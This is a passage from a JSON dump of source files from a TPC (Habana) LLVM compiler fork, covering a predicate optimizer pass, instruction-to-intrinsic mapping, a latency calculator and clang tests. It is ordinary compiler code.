PredRegLoc = MCD.getNumOperands() - 2;\n IncomeValue = ~0U;\n\n // Instructions that do not produce values do not need income value.\n if (!I.getOperand(0).isReg() || !I.getOperand(0).isDef())\n return true;\n\n // Calculate income source operand. It must be of the same type as the result\n // of the instruction and be tired to the instruction result.\n unsigned NIncome;\n for (NIncome = PredRegLoc; NIncome > 0; --NIncome) {\n const MachineOperand &Op = I.getOperand(NIncome);\n if (Op.isReg()) {\n if (Op.isTied()) {\n unsigned TiredOp = I.findTiedOperandIdx(NIncome);\n if (TiredOp == 0)\n break;\n }\n }\n }\n if (NIncome == 0)\n return false;\n\n IncomeValue = NIncome;\n return true;\n}\n\nbool TPCPredicateOptimizer::isDstFullyWritten(const MachineInstr &I) {\n Register ireg = I.getOperand(0).getReg();\n const TargetRegisterClass *RC;\n if (ireg.isVirtual()) {\n RC = MRI->getRegClass(ireg);\n } else {\n RC = static_cast<const TPCInstrInfo*>(TII)->getClassOfPhysicalRegister(ireg, *TRI);\n }\n // Currently, we optimize only for SRF and VRF dest\n if (RC != &TPC::SRFRegClass && RC != &TPC::VRFRegClass) {\n return false;\n }\n if (TPCII::isVPUInst(I.getDesc())) {\n switch (TPCII::getSlotOpCode(I.getDesc())) {\n\n // Accumulators\n case TPCII::vpuMAC:\n case TPCII::vpuMSAC:\n return false;\n\n case TPCII::vpuCONVERT:\n {\n // \"f32\", \"bf16\", \"i32\", \"u32\", \"i8\", \"u8\", \"b\", \"i16\", \"u16\", \"f16\"\n int isDown[12][12]{\n // f32, bf16, i32, u32, i8, u8, b, i16, u16, i4, u4, f16\n {0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1}, // f32\n {0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0}, // bf16\n {0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1}, // i32\n {0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1}, // u32\n {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0}, // i8\n {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0}, // u8\n {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0}, // b\n {0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0}, // i16\n {0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0}, // u16\n {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, // i4\n {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, // u4\n {0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0} // f16\n };\n\n // Check if it is a down-convert\n const MachineOperand &SwOp = I.getOperand(3);\n if (!SwOp.isImm()) {\n return false;\n }\n unsigned SwVal = SwOp.getImm();\n // extract 'To' data type from the switch\n SwVal = (SwVal >> 8) & 0xF;\n const MachineOperand &DTOp = I.getOperand(2);\n if (!DTOp.isImm()) {\n return false;\n }\n unsigned DTVal = DTOp.getImm();\n if (isDown[DTVal][SwVal]) {\n return false;\n }\n return true;\n }\n case TPCII::vpuCONVERT_INT16:\n case TPCII::vpuCONVERT_UINT16:\n case TPCII::vpuCONVERT_INT32:\n case TPCII::vpuCONVERT_UINT32:\n case TPCII::vpuCALC_FP_SPECIAL:\n // CALC_FP_SPECIAL leaves DST unchanged for some input values\n case TPCII::vpuPACK:\n case TPCII::vpuUNPACK:\n // UNPACK requires zero initialization of the dst in TPC kernels\n return false;\n\n case TPCII::vpuMOV_DUAL_GROUP:\n {\n bool hasAllSw = false;\n unsigned Sw = 0;\n if (MF->getSubtarget<TPCSubtarget>().hasGaudiISA()) {\n const MachineOperand &SwOp = I.getOperand(3);\n if (!SwOp.isImm()) {\n return false;\n }\n Sw = SwOp.getImm();\n if ((Sw & 0x01) == 0x01) { // ALL switch\n hasAllSw = true;\n }\n }\n if (!hasAllSw) {\n return false;\n }\n // Extract SrcC from Sw operand (sw{23-16} according to InstrFormat)\n unsigned SrcC = (Sw >> 16) & 0xFF;\n\n if (SrcC != 0xFF)\n return false;\n return true;\n }\n case TPCII::vpuMOV_GROUP:\n {\n const MachineOperand &ImmOp = I.getOperand(2);\n if (!ImmOp.isImm()) {\n return false;\n }\n unsigned Imm = ImmOp.getImm();\n if (Imm != 0xFFFFFFFF) {\n return false;\n }\n const MachineOperand &SwOp = I.getOperand(3);\n if (!SwOp.isImm()) {\n return false;\n }\n unsigned Sw = SwOp.getImm();\n if ((Sw & 0x3F) != 0x3F) {\n return false;\n }\n return true;\n }\n case TPCII::vpuSHUFFLE:\n // TODO: it is required to recursively check operands for\n // known values - it is probably better to do this\n // at intrinsics level, using ValueTracking feature.\n return false;\n }\n }\n else if (TPCII::isSPUInst(I.getDesc())) {\n switch (TPCII::getSlotOpCode(I.getDesc())) {\n case TPCII::spuMAC:\n case TPCII::spuCONVERT:\n case TPCII::spuCALC_FP_SPECIAL:\n // CALC_FP_SPECIAL leaves DST unchanged for some input values\n return false;\n default:;\n return true;\n }\n }\n else if (TPCII::isLoadInst(I.getDesc())) {\n // TODO\n return false;\n }\n else if (TPCII::isStoreInst(I.getDesc())) {\n // TODO\n return false;\n }\n return true;\n}\n\nbool TPCPredicateOptimizer::runOnMachineFunction(MachineFunction &Func) {\n if (skipFunction(Func.getFunction()))\n return false;\n\n if (!EnablePredicateOptimizer)\n return false;\n\n MF = &Func;\n TRI = MF->getSubtarget().getRegisterInfo();\n TII = MF->getSubtarget().getInstrInfo();\n MRI = &MF->getRegInfo();\n NumReplaced = NumRemoved = 0;\n\n for (auto &BB : Func) {\n for (auto IPtr = BB.begin(), E = BB.end(); IPtr != E;) {\n MachineInstr &I = *IPtr;\n ++IPtr;\n unsigned PredRegLoc;\n unsigned IncomeArg;\n if (isSPRFPredicated(I, PredRegLoc, IncomeArg)) {\n // Get polarity.\n bool InvertedPolarity = I.getOperand(PredRegLoc + 1).getImm() != 0;\n\n // Get predicate.\n const MachineOperand &PredOp = I.getOperand(PredRegLoc);\n assert(PredOp.isReg());\n unsigned PredReg = PredOp.getReg();\n\n // Try to evaluate predicate value.\n bool PredicateValue;\n if (PredReg == TPC::SP0) {\n PredicateValue = true;\n } else {\n // Get instruction that defines the predicate.\n MachineInstr* PredDef = MRI->getVRegDef(PredReg);\n unsigned DefiningValueNo; // N of immediate operand that defines the pred\n switch (PredDef->getOpcode()) {\n case TPC::COPY:\n DefiningValueNo = 1;\n break;\n case TPC::MOVpip:\n if (PredDef->getOperand(PredDef->getNumOperands() - 2).getReg() == TPC::SP0) {\n DefiningValueNo = 1;\n break;\n }\n LLVM_FALLTHROUGH;\n default:\n continue;\n }\n if (PredDef->getOperand(DefiningValueNo).isReg()) {\n unsigned DefReg = PredDef->getOperand(DefiningValueNo).getReg();\n if (DefReg == TPC::SP0) {\n PredicateValue = true;\n } else {\n continue;\n }\n }\n else if (!PredDef->getOperand(DefiningValueNo).isImm())\n continue;\n else\n PredicateValue = PredDef->getOperand(DefiningValueNo).getImm() != 0;\n }\n\n // Predicate value evaluated. Transform the instruction.\n if (PredicateValue != InvertedPolarity) {\n // Replace register with SP0\n I.getOperand(PredRegLoc).setReg(TPC::SP0);\n I.getOperand(PredRegLoc + 1).setImm(0);\n\n // TODO: Replace income operand with undef for scalar data but only\n // if it is not used as accumulator.\n if (I.getOperand(0).isReg() && I.getOperand(0).isDef() &&\n isDstFullyWritten(I)) {\n unsigned IncomeReg = I.getOperand(IncomeArg).getReg();\n MachineInstr* IncomeDef = MRI->getVRegDef(IncomeReg);\n if (IncomeDef->getOpcode() != TPC::IMPLICIT_DEF) {\n Register ireg = I.getOperand(0).getReg();\n const TargetRegisterClass *RC;\n if (ireg.isVirtual()) {\n RC = MRI->getRegClass(ireg);\n } else {\n RC = static_cast<const TPCInstrInfo*>(TII)->getClassOfPhysicalRegister(ireg, *TRI);\n }\n unsigned Undef = MRI->createVirtualRegister(RC);\n const DebugLoc &DL = I.getDebugLoc();\n BuildMI(*(I.getParent()), &I, DL, TII->get(TPC::IMPLICIT_DEF), Undef);\n I.getOperand(IncomeArg).setReg(Undef);\n //I.getOperand(IncomeArg).setIsUndef();\n }\n }\n ++NumReplaced;\n } else {\n // Remove instruction.\n unsigned NIn = IncomeArg;\n for (MachineOperand &D : I.defs()) {\n assert(D.isReg());\n unsigned OldReg = D.getReg();\n unsigned NewReg = I.getOperand(NIn).getReg();\n MRI->replaceRegWith(OldReg, NewReg);\n ++NIn;\n }\n I.eraseFromParent();\n ++NumRemoved;\n }\n }\n }\n }\n\n return NumReplaced > 0 || NumRemoved > 0;\n}\n" }, { "alpha_fraction": 0.5741996169090271, "alphanum_fraction": 0.5864406824111938, "avg_line_length": 32.1875, "blob_id": "b1f32dc1e750297c878d4fba0b655bc5b63adefa", "content_id": "7ccb2194dc195539c0d73539367b06ddb7a25c66", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5310, "license_type": "permissive", "max_line_length": 80, "num_lines": 160, "path": "/llvm/lib/Target/TPC/TPCMapCompoundInst.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMapCompoundInst.cpp - TPC Map Compound Inst -------------*- C++\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This file contains code that maps compound Instruction to the corresponding\n/// set of Intrinsics.\n/// This code is the property of Habana.\n//===----------------------------------------------------------------------===//\n\n#include \"TPCMapCompoundInst.h\"\n\nIntrinsicVector MapTruncate::downConvertVec(const Instruction *I,\n const TPCSubtarget *ST) {\n unsigned SrcWidth = 0, DestWidth = 0;\n assert(I->getType()->getTypeID() == Type::VectorTyID);\n SrcWidth =\n I->getOperand(0)->getType()->getScalarType()->getPrimitiveSizeInBits();\n DestWidth = I->getType()->getScalarType()->getPrimitiveSizeInBits();\n IntrinsicVector Append;\n if (SrcWidth == 32) {\n if (DestWidth == 16) {\n Append = getTrunc32_16(ST);\n } else if (DestWidth == 8) {\n Append = getTrunc32_8();\n }\n } else if (SrcWidth == 16 && DestWidth == 8) {\n Append = getTrunc16_8();\n }\n return Append;\n}\n\nIntrinsicVector MapTruncate::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n IntrinsicVector Vec, Append;\n if (I->getType()->getTypeID() == Type::VectorTyID) {\n switch (I->getType()->getVectorNumElements()) {\n case 256:\n Vec = {{Intrinsic::tpc_mov_irf_dim, 4}, {Intrinsic::tpc_convert, 4}};\n break;\n case 128:\n Vec = {{Intrinsic::tpc_mov_irf_dim, 2}, {Intrinsic::tpc_convert, 2}};\n break;\n default:\n break;\n }\n Append = downConvertVec(I, ST);\n } else {\n Vec = {{Intrinsic::tpc_convert, 1}};\n }\n if (Append.size()) {\n Vec.insert(Vec.end(), Append.begin(), Append.end());\n }\n return Vec;\n}\n\nIntrinsicVector MapExtend::upConvertVec(const Instruction *I,\n const TPCSubtarget *ST) {\n unsigned SrcWidth = 0, DestWidth = 0;\n IntrinsicVector Append;\n assert(I->getType()->getTypeID() == Type::VectorTyID);\n SrcWidth =\n I->getOperand(0)->getType()->getScalarType()->getPrimitiveSizeInBits();\n DestWidth = I->getType()->getScalarType()->getPrimitiveSizeInBits();\n if (SrcWidth == 8) {\n if (DestWidth == 16) {\n Append = getExt8_16(ST);\n } else if (DestWidth == 32) {\n Append = getExt8_32(ST);\n }\n } else if (SrcWidth == 16 && DestWidth == 32) {\n Append = getExt16_32(ST);\n }\n return Append;\n}\n\nIntrinsicVector MapExtend::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n IntrinsicVector Vec;\n if (I->getType()->getTypeID() == Type::VectorTyID) {\n Vec = upConvertVec(I, ST);\n } else if (I->getOpcode() == Instruction::FPExt) {\n Vec = {{Intrinsic::tpc_convert, 1}};\n }\n return Vec;\n}\n\nIntrinsicVector MapExtendTruncate::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n\n unsigned SrcWidth, DestWidth;\n IntrinsicVector Vec;\n assert(I->getNumOperands() > 0);\n SrcWidth =\n I->getOperand(0)->getType()->getScalarType()->getPrimitiveSizeInBits();\n DestWidth = I->getType()->getScalarType()->getPrimitiveSizeInBits();\n if (SrcWidth == DestWidth) {\n Vec = {{Intrinsic::tpc_convert, 1}};\n } else {\n if (SrcWidth < DestWidth) {\n Vec = MapExtend::getMapping(I, ST);\n } else if (SrcWidth > DestWidth) {\n Vec = MapTruncate::getMapping(I, ST);\n }\n Vec.insert(Vec.end(), {{Intrinsic::tpc_convert, 1}});\n }\n return Vec;\n}\n\nIntrinsicVector MapSelect::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n if (I->getType()->getTypeID() != Type::VectorTyID) {\n if (auto *CI = dyn_cast<CmpInst>(I->getOperand(0))) {\n switch (CI->getPredicate()) {\n case CmpInst::Predicate::ICMP_SGT:\n case CmpInst::Predicate::ICMP_UGT:\n return getMax();\n case CmpInst::Predicate::ICMP_SLT:\n case CmpInst::Predicate::ICMP_ULT:\n return getMin();\n default:\n break;\n }\n }\n }\n return getSelect_Mov();\n}\n\nIntrinsicVector MapDivide::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n IntrinsicVector Vec;\n assert(!I->getType()->isVectorTy() &&\n \"Vector integer division not supported.\");\n\n Vec.append(getBase().begin(), getBase().end());\n if (!this->Unsigned) {\n Vec.append(And.begin(), And.end());\n }\n Vec.insert(Vec.end(), {Intrinsic::tpc_udiv, 1});\n return Vec;\n}\n\nIntrinsicVector MapSignedDivide::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n IntrinsicVector Vec = MapDivide::getMapping(I, ST);\n Vec.insert(Vec.end(), getSBase().begin(), getSBase().end());\n return Vec;\n}\n\nIntrinsicVector MapFRem::getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n IntrinsicVector Result, FDiv;\n FDiv = MapFDivide::getMapping(I, ST);\n Result.append(getBase().begin(), getBase().end());\n Result.append(FDiv.begin(), FDiv.end());\n return Result;\n}\n" }, { "alpha_fraction": 0.6616161465644836, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 23.75, "blob_id": "df2f16d4ee9f218557d910b6ef009ccd438f43ad", "content_id": "23b15d3e17787555fa9633f3d85aad5b293281b2", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 198, "license_type": "permissive", "max_line_length": 79, "num_lines": 8, "path": "/clang/test/RC99/cxx/virtual-01.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc++ -triple tpc-none-none -verify %s\n\nstruct ABCD {\n virtual void ff() {} // expected-error{{virtual functions are not supported}}\n};\n\nvoid main(int src) {\n}\n" }, { "alpha_fraction": 0.6534501314163208, "alphanum_fraction": 0.6780166029930115, "avg_line_length": 36.917808532714844, "blob_id": "c05530870a62ccba9ac9ff564662abfd0ea08cef", "content_id": "f3914847552cf13ad626a4d2cf082b24f056d7d0", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11072, "license_type": "permissive", "max_line_length": 211, "num_lines": 292, "path": "/llvm/lib/Target/TPC/latencies.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- latencies.cpp - TPC latencies database ---------------- ------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file is the main database of the TPC hardware\n//\n//===----------------------------------------------------------------------===//\n\n#define TPCSIM 0\n#define MISSING_LATENCIES_DB_ENTRY_IS_ERROR 0\n#define DEBUG_LATNECIES 0\n\n#if TPCSIM\n#include \"DbgControl.h\"\n#define LATENCIES_DB_LOG_INFO LOG_INFO\n#define LATENCIES_DB_LOG_WARN LOG_WARN\n#define LATENCIES_DB_LOG_ERROR LOG_ERROR\n#else \n#include <cstdio>\n#define LATENCIES_DB_LOG_INFO std::puts\n#define LATENCIES_DB_LOG_WARN std::puts\n#define LATENCIES_DB_LOG_ERROR std::puts\n#endif\n\n#include <assert.h>\n#include \"latencies.h\" \n#include <algorithm>\n#include <sstream>\nusing namespace std;\n\nnamespace TPCLatencyEvaluation {\n\nmap<InstructionForLatencyDetermination, StageSopPair> latenciesDB;\nmap<Sop, Stage> sopDB;\n\n//void buildInstructionLatenciesDB(uint8_t tpc_generation)\n//{\n //switch (tpc_generation) {\n //case 1: // 1=TPCGenerations::DALI\n //dali_buildInstructionLatenciesDB();\n //break;\n //case 2: // 2=TPCGenerations::GAUDI\n //gaudi_buildInstructionLatenciesDB();\n //break;\n //default:\n //assert(false);\n //}\n//}\n\nuint32_t tpc_default_latency = 4;\n\nvoid setDefaultLatency(uint32_t val) {\n\ttpc_default_latency = val;\n}\n\nuint32_t calculateLatency(InstructionForLatencyDetermination &producer, InstructionForLatencyDetermination &consumer, uint8_t tpc_generation)\n{\n\tbool producer_isAccFp32 = producer.the_isAccFp32;\n\tbool consumer_isAccFp32 = consumer.the_isAccFp32;\n\tuint8_t producer_idxDst0 = producer.the_idxDst0;\n\tuint8_t consumer_idxDst0 = consumer.the_idxDst0;\n\tbool producer_is2xLookupAddSub = producer.the_is2xLookupAddSub;\n\tif(tpc_generation>1)\n\t{\n\t\tproducer.the_isAccFp32 = 0;\n\t\tconsumer.the_isAccFp32 = 0;\n\t\tproducer.the_idxDst0 = 0;\n\t\tconsumer.the_idxDst0 = 0;\n\t\tif((producer.the_slotID == e_issue_slot_load) && ((producer.the_opCode == 7) || (producer.the_opCode == 9)))\n\t\t\tproducer.the_is2xLookupAddSub = 0;\n\t}\n\tif (consumer.the_operandID == e_src_lfsr_reseed) \n\t{\n\t\tif (DEBUG_LATNECIES) \n\t\t\tLATENCIES_DB_LOG_INFO(\"returning latency of 4 due to lfsr_reseed\");\n\t\treturn 4; //LFSR reseed always return 4\n\t}\n\t\n\tif (!producer.the_isLFSRImplicitDst && (latenciesDB.find(producer) == latenciesDB.end()))\n\t{\n#if TPCSIM\n\t\tLATENCIES_DB_LOG_WARN(\"Warning: Producer wasn't found in latencies DB therefore returning defualt latency (4)\");\n#else // TPC_COMPILER\n\t\tchar buff[256];\n\t\tsprintf(buff, \"Warning: Producer wasn't found in latencies DB therefore returning defualt latency (%d)\", tpc_default_latency);\n\t\tLATENCIES_DB_LOG_WARN(buff);\n#endif\n\t\tLATENCIES_DB_LOG_WARN(\"please contact Ron/Hilla with this example:\");\n std::stringstream ss;\n\t\tss << \"producer = \" << producer;\n LATENCIES_DB_LOG_WARN(ss.str().c_str());\n\t\tif (MISSING_LATENCIES_DB_ENTRY_IS_ERROR)\n\t\t{\n\t\t\tassert(0);\n\t\t}\n\n\t\tif (tpc_generation > 1)\n\t\t{\n\t\t\tproducer.the_isAccFp32 = producer_isAccFp32;\n\t\t\tconsumer.the_isAccFp32 = consumer_isAccFp32;\n\t\t\tproducer.the_idxDst0 = producer_idxDst0;\n\t\t\tconsumer.the_idxDst0 = consumer_idxDst0;\n\t\t\tproducer.the_is2xLookupAddSub = producer_is2xLookupAddSub;\n\t\t}\n\t\treturn tpc_default_latency;\n\t}\n\tif (latenciesDB.find(consumer) == latenciesDB.end()) \n\t{\n#if TPCSIM\n\t\tLATENCIES_DB_LOG_WARN(\"Warning: Consumer wasn't found in latencies DB therefore returning defualt latency (4)\");\n#else // TPC_COMPILER\n\t\tchar buff[256];\n\t\tsprintf(buff, \"Warning: Consumer wasn't found in latencies DB therefore returning defualt latency (%d)\", tpc_default_latency);\n\t\tLATENCIES_DB_LOG_WARN(buff);\n#endif\n\t\tLATENCIES_DB_LOG_WARN(\"please contact Ron/Hilla with this example:\");\n std::stringstream ss;\n\t\tss << \"consumer = \" << consumer;\n LATENCIES_DB_LOG_WARN(ss.str().c_str());\n\t\tif (MISSING_LATENCIES_DB_ENTRY_IS_ERROR)\n\t\t{\n\t\t\tassert(0);\n\t\t}\n\n\t\tif (tpc_generation > 1)\n\t\t{\n\t\t\tproducer.the_isAccFp32 = producer_isAccFp32;\n\t\t\tconsumer.the_isAccFp32 = consumer_isAccFp32;\n\t\t\tproducer.the_idxDst0 = producer_idxDst0;\n\t\t\tconsumer.the_idxDst0 = consumer_idxDst0;\n\t\t\tproducer.the_is2xLookupAddSub = producer_is2xLookupAddSub;\n\t\t}\n\t\treturn tpc_default_latency;\n\t}\n\n\tif (producer.the_operandID != e_dst) {\n\t\tLATENCIES_DB_LOG_ERROR(\"Error: producer operand must be dest\");\n\t\tassert(0);\n\t\treturn -1;\n\t}\n\n\tif (consumer.the_operandID == e_dst) {\n\t\tLATENCIES_DB_LOG_ERROR(\"Error: consumer operand can NOT be dest\");\n\t\tassert(0);\n\t\treturn -1;\n\t}\n\n\tbool shouldOverrideMulIRFToD2 = false;\n switch (tpc_generation) {\n case 1: // 1=TPCGenerations::DALI\n shouldOverrideMulIRFToD2 = dali_overrideMulIRFToD2(producer, consumer);\n break;\n case 2: // 2=TPCGenerations::GAUDI\n shouldOverrideMulIRFToD2 = gaudi_overrideMulIRFToD2(producer, consumer);\n break;\n default:\n assert(false);\n }\n\n\t//For LFSR implicit dest, override producer stage to e4 without looking at the DB\n\tStage producerStage = producer.the_isLFSRImplicitDst ? e_stage_e3 : latenciesDB[producer].first;\n\tconsumer.the_isLFSRImplicitDst = false; //override LFSR implict dest from consumer POV as it isn't inlcuded in DB\n\tSop consumerSop = latenciesDB[consumer].second;\n\tStage consumerStage = shouldOverrideMulIRFToD2 ? e_stage_d2 : latenciesDB[consumer].first;\n\n\tStage consumerSopStage = sopDB[consumerSop];\n\tint latency;\n\tif (consumerSopStage > producerStage)\n\t\tlatency = std::max(1,consumerSopStage - consumerStage + 1);\n\telse\n\t{\n\t\tlatency = std::max(1,producerStage - consumerStage + 1);\n\t}\n\t\t\n\n\t//special case for LOOKUP_* - latency+1 because instruction is taking 2 cycles\n\tif ((producer.the_slotID == e_issue_slot_load) &&\n\t\t((producer.the_opCode == 7) || (producer.the_opCode == 9)) && (producer_is2xLookupAddSub == 0))\n\t\tlatency = latency + 1;\n\n\tif(tpc_generation>1)\n\t{\n\t\tbool consumer_is_fma_accumulator = (((consumer.the_opCode == OP_MAC) || (consumer.the_opCode == OP_MADD)) && consumer.the_operandID == e_src_c && consumer.the_isOpTypeFloat == 1) ||\n\t\t\t((consumer.the_opCode == OP_ADD || consumer.the_opCode == OP_SUB) && (consumer.the_isFp16 == true || consumer.the_isFp8 == true || consumer.the_is2xLookupAddSub == true) && consumer.the_operandID == e_src_a);\n\n\t\tbool producer_is_fma_accumulator = ((((producer.the_opCode == OP_MAC) || (producer.the_opCode == OP_MADD) || (producer.the_opCode == OP_MUL)) && producer.the_isOpTypeFloat == 1) ||\n\t\t\t((producer.the_opCode == OP_ADD || producer.the_opCode == OP_SUB) && (producer.the_isFp16 == true || producer.the_isFp8 == true || producer.the_is2xLookupAddSub == true))) && producer.the_operandID == e_dst;\n\n\tif (consumer_is_fma_accumulator) //bypass to MAC/MADD SRC_C - needs special treatment\n\t{\n\t\t//from all instructions except MAC/MUL/MADD - bypass goes to D2 and not E1, \n\t\t//so need to increase latency by 1, \n\t\t//most instructions already do it because they are E3 and SOP min stage input for src_c is E4, \n\t\t//need to fix it only for instructions which are E4/E5 + UDIV_4STEP which is E6\n\t\tif (!producer_is_fma_accumulator &&\n\t\t\t(((producer.the_slotID == ISSUE_SLOT_ID_VPU) && (producer.the_opCode == OP_SHUFFLE ||\n\t\t\t\tproducer.the_opCode == OP_PACK ||\n\t\t\t\tproducer.the_opCode == OP_UNPACK || \n\t\t\t\tproducer.the_opCode == OP_MOV_GROUP ||\n\t\t\t\tproducer.the_opCode == OP_MOV_DUAL_GROUP ||\n\t\t\t\tproducer.the_opCode == OP_MSAC)) ||\n\t\t\t\t\t((producer.the_slotID == ISSUE_SLOT_ID_SPU) &&\n\t\t\t\t\t(producer.the_opCode == OP_UDIV_4STEP ||\n\t\t\t\t\t(producer.the_opCode == OP_MOV_IRF_DIM && producer.the_is2SrfDst == true)) &&\n\t\t\t\t\t(consumer.the_slotID == ISSUE_SLOT_ID_SPU))))\n\t\t\t{\n\t\t\t\t//only for FP8 lanes 2-3 (src_C taken at E1 so we have a real smapled bypass from E6)\n\t\t\t\t//if (!((producer.the_slotID == ISSUE_SLOT_ID_VPU) && (consumer.the_isFp8 == 1) && ((consumer_idxDst0 & 0x80) != 0))) \n\t\t\t\t\tlatency = latency + 1;\n\t\t\t}\n\n\t\t//special ugly treatment for MAC bypass from DST to SRC_C (=DST)\n\t\tif (producer_is_fma_accumulator && consumer_is_fma_accumulator && latency == 5)\n\t\t{\n\t\t\t// If consumer is a SPU\n\t\t\tbool SPUSlot = (consumer.the_slotID == ISSUE_SLOT_ID_SPU);\n\t\t\t// If the consumer is a VPU and their destination (even/odd) both equal.\n\t\t\tbool VPUSlotSameIdxDst = ((consumer.the_slotID == ISSUE_SLOT_ID_VPU) && (consumer_idxDst0 == producer_idxDst0));\n\t\t\t// Accumulator (for Gaudi) works with BF16 to F32 with double VRF registers begin with VRF even.\n\t\t\tbool atLeastOneAcc = (consumer_isAccFp32==1 || producer_isAccFp32==1);\n\t\t\t/* 4 cycles latency bypass works only for consumer-producer indices that are either even or odd,\n\t\t\t\tbut it can't cross between the two groups.\n\t\t\t\tE.g.\n\t\t\t\t\tMAC.BF16.ACC_FP32 dst=V12-V13 -> MAC.BF16.ACC_FP32 dst=V12-V13\n\t\t\t\tWe have latency of 4, but for\n\t\t\t\t\tMAC.FP32 dst=V13 -> MAC.BF16.ACC_FP32 dst=V12-V13\n\t\t\t\tor\n\t\t\t\t\tMAC.BF16.ACC_FP32 dst=V13-V14 -> MAC.BF16.ACC_FP32 dst=V14-V15\n\t\t\t\tWe can't enjoy 4 cycles. Since register pairs are always allocated on even indices, we\n\t\t\t\tonly have to enforce 6 cycles in case of Accfp32 with non-AccFp32.\n\t\t\t\tFor convention and follow the latency at tpcsim isSameLaneByPass is true all the time. */\n\t\t\tbool isSameLaneBypass = (SPUSlot || VPUSlotSameIdxDst || !(atLeastOneAcc));\n\t\t\tif ((producer_isAccFp32 == consumer_isAccFp32) && isSameLaneBypass && (producer.the_isFp16 == consumer.the_isFp16))\n\t\t\t\tlatency = 4;\n\t\t\telse\n\t\t\t{\n\t\t\t\t\t//if ((consumer.the_isFp8 == 1) &&\n\t\t\t\t\t//\t((consumer_idxDst0 & 0x80) != 0)) //only for FP8 lanes 2-3 (src_C taken at E1 so we have a real smapled bypass from E6)\n\t\t\t\t\t//\tlatency = 5;\n\t\t\t\t\t//else\n\t\t\t\t\tlatency = 6;\n\t\t\t}\n\t }\n\t}\t\n }\n\n\tif (tpc_generation > 1)\n\t{\n\t\tproducer.the_isAccFp32 = producer_isAccFp32;\n\t\tconsumer.the_isAccFp32 = consumer_isAccFp32;\n\t\tproducer.the_idxDst0 = producer_idxDst0;\n\t\tconsumer.the_idxDst0 = consumer_idxDst0;\n\t\tproducer.the_is2xLookupAddSub = producer_is2xLookupAddSub;\n\t}\t\t\n\tif (DEBUG_LATNECIES) {\n std::stringstream ss;\n ss << \"consumer = \" << consumer;\n ss << \" consumerStage = \" << consumerStage;\n\t\tss << \" consumerSop = \" << consumerSop;\n\t\tss << \" producer = \" << producer;\n\t\tss << \" producerStage = \" << producerStage;\n\t\tss << \" latency = \" << latency;\n LATENCIES_DB_LOG_INFO(ss.str().c_str());\n\t}\n\n\treturn latency;\n}\nstd::string InstructionForLatencyDetermination::str() const\n{\n std::stringstream ss;\n ss << *this;\n return ss.str();\n}\n\n} // namespace TPCLatencyEvaluation\n\n\n#if 1\n#else\nint main() {\n using namespace TPCLatencyEvaluation;\n dali_buildInstructionLatenciesDB();\n InstructionForLatencyDetermination producer = InstructionForLatencyDetermination(e_issue_slot_spu,0,e_dst,0,0,0,0,e_rf_s);\n InstructionForLatencyDetermination consumer = InstructionForLatencyDetermination(e_issue_slot_spu,0,e_src_a,0,0,0,0,e_rf_s);\n cout << calculateLatency(producer, consumer) <<'\\n';\n return 0;\n}\n#endif\n" }, { "alpha_fraction": 0.485700786113739, "alphanum_fraction": 0.5625147819519043, "avg_line_length": 38.157405853271484, "blob_id": "7a13972fd8174b0674f3afc6b06b574eca0bd730", "content_id": "c81767a73cb73000c7f8ea70eeeaab143350d5f8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4231, "license_type": "permissive", "max_line_length": 135, "num_lines": 108, "path": "/clang/test/RC99/Intrinsics/v_convert_i32_to_i16.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,GEN2P %s\n\nvoid main(int dest, int src1, int src2, int vpredp, char sh1, _Bool pred) {\n volatile short128 __local *dest_ptr = (short128 __local *)dest;\n int64 __local *src_ptr = (int64 __local *)src1;\n char256 __local *shift_ptr = (char256 __local *)src2;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n \n int64 x = *src_ptr++;\n char256 shift = *shift_ptr++;\n bool256 vpred = *vpred_ptr++;\n short128 income = *dest_ptr;\n\n// 